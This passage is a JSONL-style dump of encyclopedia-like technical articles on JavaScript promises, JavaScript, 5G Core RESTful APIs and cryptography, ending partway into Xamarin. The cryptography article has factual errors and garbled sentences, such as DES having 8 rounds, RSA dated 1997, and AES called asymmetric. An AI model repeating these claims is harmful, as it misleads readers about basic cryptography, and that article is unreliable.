callbacks can be added by calling `then` multiple times. \n\nPromises also simplify the handling of exceptions. Anytime an exception is thrown it can be handled by a single `catch` method. In fact, the `catch` method is a simplification of `then` method for exception handling.\n\n\n### What are the states and rules of transition of a promise object?\n\nA promise can be in one of three states: \n\n    + **pending**: This is the initial state.\n    + **fulfilled**: This is entered if the execution succeeds. The promise is fulfilled with a *value*.\n    + **rejected**: This is entered if execution fails. Rejection comes with a *reason*.A promise that's either fulfilled or rejected is said to be *settled*. This is an apt term since a promise that's settled is an immutable object. It's value (when fulfilled) or reason (when rejected) cannot change. Immutability is important so that consumers of the promise are prevented from introducing side effects. \n\nA promise is said to be *resolved* if it's either settled or \"locked in\" to the state of another promise. Once resolved, any attempt to resolve it again will have no effect on the promise. An unresolved promise, a promise that's not resolved, is in pending state. \n\n\n### What are the methods of a promise object?\n\nThe Promises/A+ standard specifies `then` method to access the eventual value or reason. For interoperability, no other method needs to be specified.\n\nHowever, it's common for other standards or implementations to have other methods. For example, ECMAScript 2015 specifies: \n\n    + Methods `all`, `race`, `reject` and `resolve` of `Promise`\n    + Methods `then`, `catch` and `finally` of a `Promise.prototype`Among the non-standard methods are `Promise.denodeify`, `Promise.prototype.done`, `Promise.prototype.finally` and `Promise.prototype.nodeify`. GuzzleHttp's Promise implementation in PHP provides methods `otherwise`, `wait`, `getState` and `cancel`. Bluebird adds useful methods such as `map`, `some`, `any`, `filter`, `reduce`, `each` and `props`. \n\n\n### Could you share some details of the then method?\n\nA promise must have a `then` method that accepts two arguments and returns another promise: `q = p.then(onFulfilled, onRejected)`, where the following hold true for promises `p` and `q`: \n\n    + Arguments `onFulfilled` and `onRejected` are both optional\n    + If `onFulfilled` is a function, it's called once when `p` is fulfilled\n    + If `onRejected` is a function, it's called once when `p` is rejected\n    + Promise `q` is resolved with value `x` if either function `onFulfilled` or `onRejected` returns `x`\n    + Promise `q` is rejected with reason `e` if either function `onFulfilled` or `onRejected` throws an exception `e`\n    + If `onFulfilled` is not a function, `q` will be fulfilled with the value of `p` when fulfilled\n    + If `onRejected` is not a function, `q` will be rejected with the reason of `p` when rejectedFor interoperability, non-promises can be treated as promises if they provide the `then` method, for example, using duck typing. Such an object is called a *thenable*. \n\n\n### Can you give some use cases where promises might simplify my code?\n\nPromises can enable us to sequentially call a bunch of async functions. We can handle all errors in a single code block if we wish to do so. We can trigger multiple async calls and do further processing only when all of them have completed; or exit if any one of them throws an exception; or handle the first one that completes and ignore the rest. Promises enable us to retry async calls more easily. \n\n\n### What are some tools for working with promises?\n\nIf your browser doesn't support promises, a polyfill will be needed. One option is to use promise-polyfill. Another polyfill is called es6-promise.\n\nBluebird is a JS library for promises. It can be used in Node.js and browsers. Using \"promisification\", it can convert old API into promise-aware API. Another useful library is Q. Alternatives include promise, lie, when and RSVP. A comparison of these promise libraries by size and speed is available. \n\nMocha, Chai and Sinon.JS are three suggested tools for testing asynchronous program flow. Mocha and Chai in combination work nicely for testing promises. \n\n\n### Can you give some tips for developers coding promises?\n\nHere are some tips, for beginners in particular: \n\n    + It's possible to write promise-based code in the manner of callback-style nested code. This is bad practice. Instead use a promise chain.\n    + Always handle errors using either `then(null, onRejected)` or `catch()`.\n    + Avoid using the old-style `deferred` pattern that used to be common with jQuery and AngularJS.\n    + Always return a value or throw an exception from inside `then` and `catch` methods. This is also handy for converting synchronous code into promisey code.\n    + `Promise.resolve()` can wrap errors that occur in synchronous code. Be sure to use a `catch` to handle all errors.\n    + Note that `then(onFulfilled).catch(onRejected)` is different from `then(onFulfilled, onRejected)`. The latter code will not catch exceptions that may occur inside `onFulfilled` function.\n\n### I have a bunch of promises I wish to call sequentially. Can I use a for loop?\n\nThis is an interesting case where each promise invokes (presumably) some asynchronous code and yet we wish to wait for each asynchronous call to complete before we start the next promise. A promise executes as soon as it's created. If you have a bunch of promises to be called in sequence, any loop construct such as `forEach` will not work. Instead, use a chain of promises, that is, each promise is constructed within the `then` method of the previously fulfilled promise. \n\n## Milestones\n\n1976\n\nThe concept of promises is born in the domain of parallel computing. It's called by different names: futures, promises, eventuals. \n\nJun  \n1988\n\nMIT researchers present a paper that defines and explains promises. They describe how promises can aid asynchronous programming in distributed systems, including sequences of async calls. It references an async communication mechanism called *call-streams* and illustrates the concepts in Argus programming language. \n\nMar  \n2009\n\nDiscussion starts within a CommonJS Google Group for specifying an API for promises. An initial version of *Promises/A* is published in February 2010. \n\nDec  \n2012\n\n*Promises/A+* specification version 1.0 is released. Versions 1.1 and 1.1.1 are subsequently released in 2013 and 2014 respectively. Promises/A+ is based on the earlier Promises/A but has some omissions, clarifications and additions. Specifically, progress handling and interactive promises are omitted. The focus has been to arrive at a minimal API for interoperability. For interoperability, the specification details the behaviour of the `then` method of a promise object. The specification doesn't talk about how to create, fulfill or reject promises. \n\nJun  \n2015\n\nPromise is introduced into ECMA Script 2015, 6th Edition.","meta":{"title":"Promises","href":"promises"}}
{"text":"# JavaScript\n\n## Summary\n\n\nJavaScript (JS) is a programming language and a core technology of the World Wide Web (WWW). It complements HTML and CSS. HTML provides structured static content on the web. CSS does the styling on the content including animations. JavaScript enables rich interactions and dynamic content. \n\nJS started for the web and executed within web browsers. With the coming of Node.js in 2009, it became possible to use JS for server-side execution. It's now possible to build entire web apps with JS for both frontend and backend code. Today, the JS ecosystem is rich and mature with many libraries, frameworks, package managers, bundlers, transpilers, runtimes, engines and IDEs.\n\nTechnically, JavaScript is a loosely typed, multi-paradigm, interpreted high-level language that conforms to the **ECMAScript** specifications.\n\n## Discussion\n\n### What's unique about JavaScript that one would want to learn it?\n\nJavaScript is the language of web. It's one of the three core technologies of the World Wide Web along with HTML and CSS. JS enables dynamic effects and interactions on webpages. Hence it's become an essential part of web applications. Static web pages are almost obsolete nowadays.\n\nWith the advent of NodeJS, JS was quickly adopted for server-side scripting. JS can be used for both frontend (client-side) and backend (server-side) programming of web apps. A developer therefore needs to learn only one language. This is particularly important when there's a demand for fullstack (frontend + backend) developers.\n\nJavaScript is no longer limited to just client-side code. It's being used for both client-side and server-side code, in mobile devices, for IoT applications, desktop applications and more. \n\nThe importance of JavaScript is also highlighted by this quote from Eric Elliott, \n\n> Software is eating the world, the web is eating software, and JavaScript rules the web.\n\n\n### How does JavaScript work on the web?\n\nJavaScript code can be embedded into HTML files or stored in separate `*.js` files that can be referenced from HTML files. When browsers encounter the JS code, they will parse it and execute it on the fly. JavaScript is an **interpreted language**, meaning that it's not compiled in advance to machine code. \n\nBy mid-2000s, **AJAX** became a common approach to use JS more effectively for richer user experience. With AJAX, user interactivity is continued while new content is fetched asynchronously in the background. \n\nTraditionally, content on the web was served as individual HTML pages and each page had some interactivity enabled via JS and AJAX. In the late 2010s, there was a shift towards building the entire app in JavaScript and updating the contents via AJAX. Such an app is called a **Single Page Application (SPA)**. \n\nSince we can now run JS on both client and server, this gives us the flexibility to render part of the web page on server and let the client complete the rest. This approach leads to what we call **Isomorphic or Universal Application**. \n\n\n### Is JavaScript related to Java, VBScript, JScript and ECMAScript?\n\nJava and JavaScript are two different programming languages. The name *JavaScript* itself was coined in 1995 because of a partnership between Netscape Communications (that invented JavaScript) and Sun Microsystems (that invented Java). Java syntax was introduced into JavaScript. While Java was reserved for enterprise apps, JavaScript was positioned as a web companion to Java. About the same time, Java was also made available within web browsers as **applets**. Today, Java and JavaScript are both popular languages.\n\nWhen Microsoft got into web technology in the 1990s, its Internet Explorer (IE) browser needed an equivalent to what Netscape and Sun had with JavaScript and Java. JScript and VBScript are therefore Microsoft scripting languages. JScript is said to be very similar to JavaScript and enabled dynamic content on IE. \n\nThis fragmentation meant that a web page written for Netscape would not work well on IE, and vice versa. There was no standard and JavaScript was evolving far too quickly. In this context, **ECMAScript** was born in 1997 as a standard for JavaScript. \n\n\n### Why is JavaScript called a multi-paradigm language?\n\nJavaScript is an **object-oriented** language. It has objects, with properties and methods. Functions are first-class objects that can be passed into other functions, returned from functions, bound to variables or even thrown as exceptions. However, object inheritance is not done in the classical manner of C++ or Java. It uses **prototypal inheritance**, inspired by Self language. This makes the language flexible. A prototype can be cloned and modified to make a new prototype without affecting all child instances. It's also possible to do **classical inheritance** in JavaScript. \n\nThough being object-oriented, there are no classes in JavaScript but constructors are available. Object systems can be built using either inheritance or aggregation. Variables and methods can be private, public or privileged to the object. \n\nEric Elliott explains why he regards *prototypal inheritance* and *functional programming* as two pillars of JavaScript. *Closures* provide encapsulation and the means to avoid side effects. Thus, understanding closures is important for **functional programming** in JavaScript. JavaScript can also be used in an **imperative style** using `if-else` conditions, `for` loops, and module-level variables. \n\nThus, JavaScript is multi-paradigm because it's object-oriented, functional and imperative.\n\n\n### What are some important features of JavaScript that I should learn?\n\nBeginners should first learn the basics of JS, in addition of HTML and CSS. The Modern JavaScript Tutorial is great place to start learning.\n\nSome useful things to learn include effective console logging, destructuring, template literals, and spread syntax. Explicit loops can be avoided by taking the functional programming approach with `reduce`, `map` and `filter` methods. For asynchronous programming, you should learn about Promises and adopt the modern `async/await` syntax. \n\nGet a good understanding of closures and partial application. Use the arrow syntax of ES6 for more compact and readable code. Other useful ES6 features to learn are `const`, multiline strings, default parameters, and module import/export. \n\n\n### What's the difference between a JS engine and a JS runtime?\n\nA **JavaScript Engine** parses JS code and converts it to a form that the machine can execute. It contains the memory heap and the call stack. Examples include Google's V8 Engine (Chrome), SpiderMonkey (Firefox), JScript (IE), and Chakra (Microsoft Edge). \n\nA **JavaScript Runtime** is an environment in which JS runs. Web browsers are environments. Node.js provides a runtime for server-side execution. In a typical web app, the program may access the DOM, make AJAX calls, and call Web APIs. These are not part of the language. They are provided by the browser as part of the JS runtime. \n\nAnother important distinction is that the engine does **synchronous** processing. It can process only one function at a time via the call stack. On the other hand, the runtime can maintain a number of items in the callback queue. A new item can be added anytime to the queue and processed later when the call stack is free. Thus, the runtime enables **asynchronous** processing. \n\n\n### As a beginner, what should I know about the JavaScript ecosystem?\n\nConsider the following:\n\n    + **Frameworks**: These simplify development by providing a structure, including design patterns such as MVC. Examples include React, Angular, Vue, Backbone and Ember.\n    + **Libraries**: Many developers release their code as JS packages/modules/libraries so that others can reuse them. In December 2018, about 836,000 libraries were available on NPM.\n    + **Package Managers**: Developers use them to install and manage packages they require for their projects. Examples include NPM and Yarn. Packages are downloaded from known repositories on the web.\n    + **Linters**: These catch errors or bad practices early. Examples include Prettier and ESLint.\n    + **Module Bundlers**: A project may have many dependent JS packages. Bundlers combine them into far fewer files so that these can be delivered more efficiently to browsers and other runtimes. Examples include Webpack and Browserify.\n    + **Task Runners**: These enable automated development workflows such as minifying or concatenating files. Examples include Gulp and Grunt.\n    + **Transpilers**: Developers can write code in other languages (CoffeeScript, TypeScript) and then convert them into JavaScript. Another use case is to write in modern ES6 syntax and transpile to syntax supported by older browsers. Examples include Babel.\n\n### What are some concerns that developers have about JavaScript?\n\nDevelopers coming from languages such as C++ and Java, find JavaScript annoying in many ways: automatic semicolon insertion, automatic type coercion (loose typing), lack of block scoping, lack of classes, unusual (prototypal) inheritance. Another quirk is type mismatches between objects that are otherwise similar: `\"Hello world\"` of type \"string\" versus `new String(\"Hello world\")` of type \"object\". Some of these are attributed to the hurried development of JavaScript. \n\nBecause there are many JS frameworks, libraries and tools, the choice of which one to adopt can be daunting. In one example, it was shown that Vue.js was hardcoded to rely on `yarn` and this broke the workflow because the developer had only installed `npm`. It's also possible in the JS world to have a small project of just few lines of code download lots of dependencies. An average web app has over 1000 modules. \n\nBecause the language was designed in a hurry, it has design errors. Developers can write bad JS code. This prompted Douglas Crockford to write his now famous book titled *JavaScript: The Good Parts*.\n\n## Milestones\n\n1993\n\nIn the early days, the history of JavaScript is somewhat tied to the history of web browsers. Among the early browsers are WorldWideWeb, ViolaWWW, Erwise and Midas. In 1993, **NCSA Mosaic** appears on the scene. It supports multiple networking protocols and is able to display images inline. It becomes popular and people begin to see the potential of the web. There's no JavaScript at this point and content shown on browsers are all static.\n\n1994\n\nMarc Andreessen, one of the creators of Mosaic, has the vision that the web should be lot more dynamic with animations and interactions. He starts **Netscape Communications**. \n\nMay  \n1995\n\nAt Netscape, the idea is to invent a dynamic scripting language for the browser that would have simple syntax and appeal to non-programmers. Brendan Eich is contracted by Netscape to develop \"Scheme for the browser\", Scheme being a language with simple syntax, dynamic and powerful. Thus is born **Mocha**, which becomes part of Netscape Communicator browser in May 1995. \n\nNov  \n1995\n\nWith competition from Microsoft and its Internet Explorer, Netscape partners with Sun Microsystems to make Java available in the browser. At the same time, they recognize that Java is a beast not suited for the browser. Together they announce **JavaScript**, which they describe as \"an open, cross-platform object-scripting language designed for creating and customizing applications on the Net.\" To ride on the hype surrounding Java, JavaScript is positioned as a companion to Java, even based on Java. JS becomes available in beta version of Netscape Navigator 2.0. Mocha becomes JS but less Scheme-like and more Java-like. \n\n1996\n\nMicrosoft introduces **JScript**, it's alternative to JavaScript. It's included in Internet Explorer 3.0. JScript can also be used for server-side scripting in Internet Information Services (IIS) web server. Server-side scripting is also possible with JavaScript in Netscape Enterprise Server. However, only in 2009 does Node.js make server-side scripting with JS popular.\n\nJun  \n1997\n\nECMA organization publishes **ECMAScript**, documented as the ECMA-262 standard. Web pages that conform to ECMAScript are guaranteed to work on all browsers, provided browsers support the standard. JavaScript conforms to ECMA, while providing additional features. ActionScript and JScript are other well-known implementations of ECMAScript. \n\n2005\n\nJesse James Garrett of Adaptive Path mentions a new term, **AJAX**, which expands to *Asynchronous JavaScript + XML*. AJAX eliminates the need to reload an entire webpage to update small details. It gives developers more flexibility to make their web apps more responsive and interactive. Many projects in Google already use AJAX. AJAX goes on to change the way web interactions are built with JS.\n\n2009\n\nAs a standard library, **CommonJS** is founded, mainly for JS development outside the browser. This include the use of JS for web server, desktop and command line applications. This is also the year when **NodeJS** is released so that JS can be used for server-side scripting. \n\nJun  \n2015\n\nAs a standard, **ECMAScript 2015** (ES2015 or ES6) is released. ES6 is seen as a major update to the core language specifications, which hadn't changed since ES5 of 2009. ES6 is expected to make JS coding easier, although it may take a while for browsers to support it fully. \n\n2017\n\nJavaScript has highest number of pull requests on GitHub, an open site for sharing code, particularly on open source projects. A pull request is a way for developers to submit their contributions to a project. \n\n2018\n\nWith more than 9.7 million developers using JavaScript worldwide, JS is declared as the most popular programming language. This is based on a survey of 21,700 developers from 169 countries. JS has 2.4 million more developers than the next popular language. However, some predict that JS may decline due to **WebAssembly**. For interactions on the web, JS has been the only language of choice so far. With WebAssembly, developers can potentially migrate to other languages. \n\nMar  \n2018\n\nTensorFlow project releases **TensorFlow.js** to train and run Machine Learning (ML) models within a web browser. This becomes an easy path for JS developers to get started with ML. This is just one example to illustrate the versatility of JS.","meta":{"title":"JavaScript","href":"javascript"}}
{"text":"# 5G Core RESTful APIs\n\n## Summary\n\n\nThe 5G Core separates the control plane from the user plane. The control plane is a designed as a set of Network Functions (NFs). Each NF exposes one or more services. Each service offers one or more operations, implemented as RESTful APIs over HTTPS. For this reason, NFs are said to use Service-Based Interfaces (SBIs). \n\nDisaggregating the 5G Core as independent (but interworking) NFs gives Communication Service Providers (CSPs) the ability to mix and match NFs from various software vendors. Benefits include automation, cost reduction, customization, and less vendor lock-in. \n\n3GPP has defined these APIs in conformance with the OpenAPI Specification. APIs have been published as YAML files. Using OpenAPI tools, developers can autogenerate client/server code from these YAML files. Such autogenerated code can become a starting point for implementing 5G Core.\n\n## Discussion\n\n### Could you give an overview of 5G Core NFs?\n\nThere are dozens of NFs (and their services) for which APIs have been defined. The figure highlights that Service-Based Architecture (SBA) and Service-Based Interfaces (SBIs) are defined only for the control plane. SBA is based on web technologies. Services communicate via HTTP/2 over TLS over TCP/IP, and exchange data in JSON format. \n\nNon-SBA interfaces use telecom-specific protocols: NAS-MM (on N1), NGAP over SCTP (on N2), GTP-U over UDP (on N3), PFCP over UDP (on N4), and so on. \n\nAn NF Service Producer exposes its services that are then invoked by an authorized NF Service Consumer. Producers and consumers can communicate directly or indirectly via Service Communication Proxy (SCP). A consumer can discover a producer via local configuration, via NRF (direct communication) or via SCP (indirect communication). \n\nEach service is self-contained, reusable and independent of another service, even if they're part of the same NF. Services may share some context data. A system procedure is basically invoking a sequence of NF services. \n\n\n### Where can I obtain the 5G Core APIs?\n\nA descriptive overview of NFs is in section 6 of **TS 23.501**. Section 7 lists the services of each NF. In Release 17 (Oct 2023), there are a total of 28 NFs containing 102 services.   These are listed in the figure.\n\nSection 5 of **TS 23.502** details all operations of each service. An operation can take the form of request/response or subscribe/notify. The document also gives the known consumers of each operation. Section 4 describes system procedures that make use of these operations. \n\nStage 3 specifications (including API definitions in YAML) of each NF is the **TS 29.5xx series** of documents. An easier way to obtain the API definitions is via the 5G APIs repository at 3GPP Forge. The README file in this repository includes links to view/edit/validate/test each API via Swagger Editor UI. \n\n\n### Which are the REST principles adopted by 5G SBA?\n\nCode on Demand and HATEOAS are two REST principles currently not used in 5G SBA. Otherwise, the following have been adopted: \n\n    + **Resource, Serialization and Representation**: Resources/objects are accessed via unique URIs. They're serialized as JSON documents.\n    + **Client/Server**: Clients are service consumers while servers are service producers. The same NF can take on different roles in different contexts. For example, when registering with NRF, SMF is the client and NRF is the server. When creating a session, SMF is the server and AMF is the client.\n    + **Stateless**: Servers don't maintain any state about clients. Clients include all necessary information with each request. This allows for load balancing, scalability and resilience in a distributed environment. UDSF offers a centralized storage and thereby facilitates stateless implementations. If an NF instance goes down, another instance can obtain context data (such as Service Profile used at SMF) from UDSF. UDR and UDSF can't be stateless.\n    + **Cacheable**: Servers indicate if clients can cache the information.\n    + **Layered System**: Clients need not be aware exactly which server provides a service. NRF allows this decoupling of clients and servers.\n    + **HTTP Methods**: GET, POST, PUT, PATCH and DELETE are used.\n\n### What communication types does 5GC SBA adopt?\n\nFor CRUD operations, **Request/Response** communication is used. An NF consumer requests. An NF producer responds. POST method is used on a parent resource to create a new child resource. The latter's URI is returned in the response. Another way to create a resource is to use PUT method on the resource itself. In this case, the NF consumer selects the resource identifier and URI. Resource can be read with GET method accompanied with necessary query parameters. Resource updates can be done with PUT (full update) or PATCH (partial update). Resource deletion is via DELETE method. \n\nThere's also **Subscribe/Notify** communication. An NF consumer subscribes by providing a callback URI and an optional filter. An NF producer notifies the consumer when data changes and matches the filter. Subscriptions are created with POST, updated with PUT or PATCH, and deleted with DELETE. Notifications use POST. Subscriptions can be of explicit or implicit. For example, UDR is implicitly subscribed to provisioned subscriber data at the UDR. Another example is an AMF instance that creates an SM Context for a PDU Session. That instance is implicitly subscribed to SM Context Status at the SMF. \n\n\n### What's the structure of URIs used by 5GC SBA?\n\nThe figure shows the structure and an example of the `nf-instances` resource from NRF NFManagement API. API Root, API Name and API Version are collectively called API URI. API URI doesn't include a trailing forward slash. Variable `nfInstanceID` is delimited with `{}`. In the example, this is replaced with UUID to indicate the specific instance. \n\nAPI Version follows semantic versioning of the form `vx.y.z` where `x`, `y` and `z` are positive integers. Only the major version (`x` part) is indicated in the URI. A suffix starting with hyphen indicates pre-release version (eg. `1.0.0-alpha1`). A suffix starting with plus sign indicates build metadata after release freeze (eg. `3.0.1+orange.2020-09`). An NF consumer can use NRF to discover supported versions of NF producer instances. \n\n\n### What are some challenges in implementing 5GC?\n\nMulti-vendor deployments are complex with respect to interoperability, provisioning, dependencies, Operations Support Systems (OSSs), etc. AI-driven approaches may help avoid manual work. Engineers need to skill themselves in system integration. Operators remain undecided if they should get into system integration themselves or adopt a pre-packaged solution from a consortium. \n\n3GPP permits custom operations using POST method. It also permits custom RPC-style API operations. However, these will adversely impact interoperability.\n\nA service mesh such as Istio isn't aligned with the 3GPP approach of using NRF for service discovery or UPF selection by SMF. However, 3GPP does suggest using a service mesh for SCP. \n\nOpenAPI is meant to simplifying implementation due to readily available validators, code generators and other tools. The open source OpenAPI Generator is able to generate code in many languages. When run against 5G specifications, it shows its limitations. As on December 2023, the project has close to 4,000 open issues. \n\n## Milestones\n\n2000\n\nFielding describes **Representational State Transfer (REST)** in his PhD dissertation. He proposes REST as a guide to enhancing HTTP, not building web APIs per se. He notes that any architectural style (such as REST) is not a silver bullet to solve all types of problems. REST itself is meant for \"large-grain hypermedia data transfer\". \n\nJun  \n2018\n\n3GPP publishes **TS 29.501, v15.0.0**, titled *Principles and Guidelines for Services Definition; Stage 3*. In v15.1.0 (September 2018), security requirements of API design and JSON structures in query parameters are specified. Subsequent versions include v16.0.0 (June 2019) and v17.0.0 (December 2020). \n\nAug  \n2020\n\n5G Core APIs specified in YAML files are hosted at 3GPP Forge. While this is a GitLab environment, GitLab tools and processes can't fully be used. This is because changes can happen only via 3GPP mandated Change Requests (CRs). \n\nMay  \n2023\n\nAt a **multi-vendor trial**, Enea demonstrates fast network slicing. A network slice can be instantiated quickly. Software comes from Enea, Oracle and Casa Systems. Enea supplied UDM, UDR and AUSF. Hardware included those from HPE, Intel and Nokia. However, achieving this in a commercial network is not expected to be straightforward.","meta":{"title":"5G Core RESTful APIs","href":"5g-core-restful-apis"}}
{"text":"# Cryptography\n\n## Summary\n\n\n**Cryptography** is a set of techniques for encrypting data using specified algorithms that make the data unreadable to the third party computer systems, unless decrypted using predefined procedures by the sender. Messages between the sender and receiver are passing through a medium, which may be attacked and the information can be stolen. So the sender encrypts and the receiver decrypts. In the presence of third parties, cryptography is the practise of secure communication. **Data encryption** is known for its ability to keep information safe from prying eyes. It uses an encryption key to convert data from one format, called plaintext, to another, called ciphertext. Modern cryptography is largely based on computer science's mathematical theory and practise.\n\n## Discussion\n\n### What is the purpose of cryptography?\n\nA system's ability to verify the sender's identity is **Authentication**. The sender and recipient can verify each other's identities as well as the information's origin and destination.  \n\nInformation transmitted should only be accessed by legal parties and not by anyone else for the purpose of **Confidentiality**. Anyone who was not intended to get the information will be unable to comprehend it.  \n\nOnly authorised parties are allowed to make changes to transmitted data to maintain **Integrity**. Information cannot be manipulated with while in storage or in transmission between the sender and the intended recipient without being detected.  \n\n**Non-repudiation** is the guarantee that no one can refute something's legitimacy. The information creator/sender cannot later contradict their intentions in the development or transmission of the material.  \n\nThe information provided is only accessible to those who have been given permission. This gives **Access Control** only to the involved parties. \n\n\n### What are some well-known applications of cryptography?\n\n**Protected Communication:** Encrypting communications between ourselves and another system is the most common application of cryptography, and one we all use on a regular basis. A web browser and a web server are two examples, as are an email client and an email server. Modern switching networks make interception more difficult. \n\n**Storage Integrity:** The emergence of computer viruses has led to the adoption of cryptographic checksums for data storage. A checksum is generated and compared to expectations, just as it is for transmission integrity. Transmitted information is often available for a shorter amount of time and is used for a smaller volume of data, and is retrieved at a slower rate than stored data. \n\n**Electronic Money:** Today, there are patents in existence around the world that allow electronic information to substitute cash money in individual financial transactions. Cryptography is used in this system to keep national assets in electronic form. \n\n\n### Which are some commonly used terms in cryptography?\n\n**Plaintext** refers to any communication or data that has to be protected for various reasons. \n\n**Ciphertext** is the unreadable form of data that is generated at the end of the encryption process. \n\n**Encryption** refers to the process of encoding a message with the use of a key. The basic text is turned into illegible text in this way. \n\n**Decryption** is the process of deciphering an encoded communication with the use of a key. It's the inverse of the encryption method. \n\nA **key** is a parameter that dictates what a cryptographic process's final output will be. The length of the key is important in the encryption process. \n\n\n### What techniques can be used for encrypting/decrypting data?\n\nWhen **Symmetric Encryption** is performed, the same cryptographic keys are utilised for plaintext crypting and degradation of the figure materials. Symmetrical key encryption is less complicated. One key is used to encrypt and decrypt both data sets. Types of symmetric keys: Stream or Block cyphers, can be used in symmetric-key encryption. Stream cyphers encrypt the digits of a message one by one (typically bytes). To modify the component's measurement, Block figures employ distinct sections and encrypt them with the plaintext as a single component unit. \n\n**Asymmetric Encryption** is a collection of keys that are used to encrypt and decrypt public and private-key information.\n\nBecause the user utilises two keys as asymmetrical encoding employs two keys, it's also known as the Cryptography Public Key. \n\nIn **Encryption with public keys** the messages are encrypted using the recipient's public key. The post cannot be deciphered by anyone who is not the private coordinator, does not own the key, or is not connected to the general public key. \n\n**Digital Signature** uses a personalised transmitter key that can be verified by anyone with a personal key, ensuring network security. \n\n\n### Could you share examples of cryptographic algorithms?\n\n**Data Encryption Standard (DES)** developed by IBM in the 1970s, approved for commercial usage by the National Bureau of Standards(NBS) in 1977 uses a 56-bit key and 8 rounds to work on 64-bit blocks. \n\n**Advanced Encryption Standard (AES)** is a fast and safe algorithm released in 1998, created by Vincent Rijmen and Joan Daemen works with variable key and block lengths. The key length can be 128, 192, or 256 bits, and the block length can be 128, 192, or 256 bits. \n\n**Rivest Cipher (RC)** was created by Ronald Rivest, and named after him. RC1, RC2, RC3, RC4, RC5, and RC6 are available.\n\nBruce Schneie created **Blowfish** in 1993 and published it in 1994. It contains 8 rounds, with a 64-bit block size and a key length of 32 to 448 bits. Blowfish is considered as a replacement for DES as it is substantially faster than others with a good key strength.\n\n**RSA** was named after it's inventors Ron Rivest, Adi Shamir and Leonard Adleman, in 1997. A variable-size key and encryption block are employed in it. It provides increased security and convenience, and uses Public Key Encryption.\n\n\n### How do I evaluate cryptographic algorithms?\n\nEach encryption algorithm has strengths and disadvantages, that affect encryption performance based on these parameters:\n\n**Encryption time** is measured in milliseconds and depends on the data block's length and key. When the encryption time is short, an algorithm's performance is considered advanced. \n\n**Decryption time** is the amount of time it takes to recover the original text from ciphertext, measured in milliseconds. When the decryption time is short, an algorithm's performance is considered superior. \n\n**Memory used** should be minimal because it has an impact on system costs. \n\n**Throughput** is calculated by dividing the total encoded block size by the whole encode time. If the throughput cost rises, the algorithm's power consumption will fall. \n\n**Avalanche effect** predicts that if the plaintext changes, the ciphertext will also change dramatically, by calculating the difference between plaintext and ciphertext modifications. \n\n**Entropy** is a statistical measure of data randomness and uncertainty.. \n\n**The number of bits required for encoding optimally** defines the bandwidth required for transmission. When an encrypted character or bit is encoded with fewer bits, it uses less storage and bandwidth, directly impacting the system's cost. \n\n\n### What is the role of computational and energy costs in implementing Cryptography?\n\nNetworks are developing towards a ubiquitous model in which heterogeneous devices are networked (offering easy network interconnections anytime and anyplace). Cryptographic algorithms are necessary for the network security solutions' development. However, network devices' computational and energy restrictions make real implementation of such processes difficult. As a result, a thorough examination of the costs of launching symmetric and asymmetric cryptographic algorithms, hash chain functions, elliptic curve cryptography, and pairing-based cryptography on personal agendas is carried out, and the results are compared to the costs of basic operating system functions. The studies reveal that, while cryptographic power costs are considerable and such operations must be time limited, they are not the primary limiting factor in a device's autonomy. \n\nThe technological advancement has resulted in the expansion of personal portable computers and the emergence of new forms of networks. Security solutions are required to secure heterogeneous ubiquitous networks generated by small and restricted devices, which are being explored or are already in use. The inherent nature of ubiquitous networks requires the safeguards' implementation to assure proper protocol execution at all layers, from networking operations to collaborative enforcement protocols or privacy-protecting mechanisms. \n\n## Milestones\n\n1932\n\nPolish cryptographer Marian Rejewski discovers how Enigma works. \n\n1939\n\nPoland shares the information on how Enigma works with the French and British intelligence services, allowing cryptographers like Alan Turing to figure out how to crack the key, which changes daily. It proves crucial to the Allies' World War II victory. \n\n1945\n\nClaude E. Shannon of Bell Labs publishes an article called \"A mathematical theory of cryptography.\" It's the starting point of modern cryptography. For centuries, governments have controlled secret codes: applied to diplomacy, employed in wars, and used in espionage. But with modern technologies, the use of codes by individuals is exploding. \n\n1976\n\nWhitfield Diffie and Martin Hellman publish a research paper, New Directions in Cryptography, on what would be defined as the Diffie-Hellman key exchange. For the first time, the code key is no longer pre-arranged, but a pair of keys (one public, one private but mathematically linked) is dynamically created for every correspondent.  \n\n1977\n\nRSA public key encryption is invented. \n\n1978\n\nRobert McEliece invents the McEliece cryptosystem, the first asymmetric encryption algorithm to use randomization in the encryption process. \n\n2000\n\nThe Advanced Encryption Standard replaces DES, or AES (asymmetric key - the user and sender must know the same secret key), found through a competition open to the public. Today, AES is available royalty-free worldwide and is approved for use in classified US government information. PKI (Public Key Infrastructure) is a generic term used to define solutions creating and managing public-key encryption. It is activated by browsers for the Internet but also by public and private organizations to secure communications. \n\n2001\n\nBelgian Rijndael algorithm selected as the U.S. Advanced Encryption Standard (AES) after a five-year public search process by National Institute of Standards and Technology (NIST). \n\n2004\n\nThe first commercial quantum cryptography system becomes available from id Quantique. \n\n2005\n\nElliptic-curve cryptography (ECC) is an advanced public-key cryptography scheme and allows shorter encryption keys. Elliptic curve cryptosystems are more challenging to break than RSA and Diffie-Hellman. \n\n2007\n\nUsers swamp Digg.com with copies of a 128-bit key to the AACS system used to protect HD DVD and Blu-ray video discs. The user revolt is a response to Digg's decision, subsequently reversed, to remove the keys, per demands from the motion picture industry that cited the U.S. DMCA anti-circumvention provisions. NIST hash function competition announced. \n\n2013\n\nEdward Snowden discloses a vast trove of classified documents from NSA. Dual\\_EC\\_DRBG is discovered to have a NSA backdoor. NSA publishes Simon and Speck lightweight block ciphers.","meta":{"title":"Cryptography","href":"cryptography"}}
{"text":"# Xamarin\n\n## Summary\n\n\nXamarin is a cross-platform application development framework. It allows you to develop a mobile app using C# and reuse most of the codebase across multiple platforms including Android, iOS and Windows. Among the advantages of Xamarin are native user interfaces, native API access, native performance and developer productivity. \n\nXamarin itself leverages .NET development platform that comes with C# language, its compilers, base libraries, editors and tools. Xamarin extends .NET so that developers can build mobile apps and target multiple platforms.\n\n## Discussion\n\n### When should I use Xamarin?\n\nThere are many hybrid and cross-platform frameworks to develop apps across multiple platforms, but these require skills in JavaScript and are best suited for Web developers. For them, Apache Cordova is one possible framework but do keep in mind that this is a hybrid approach that will not give native performance. \n\nWhere performance is desired along with faster time to market via multiple mobile platforms, Xamarin must be preferred. Xamarin is best suited for developers coming from .NET, C# or Java backgrounds. \n\nAs a note, Xamarin should not be confused with **.NET Core**, though both are cross platform and open source. Xamarin is for cross-platform mobile (though it can be used for MacOS) whereas .NET Core is for creating cross-platform web apps, microservices, libraries and console apps that can run on Windows, Linus or MacOS. \n\n\n### Why should I use Xamarin?\n\nXamarin helps to expedite native mobile app development targeting multiple 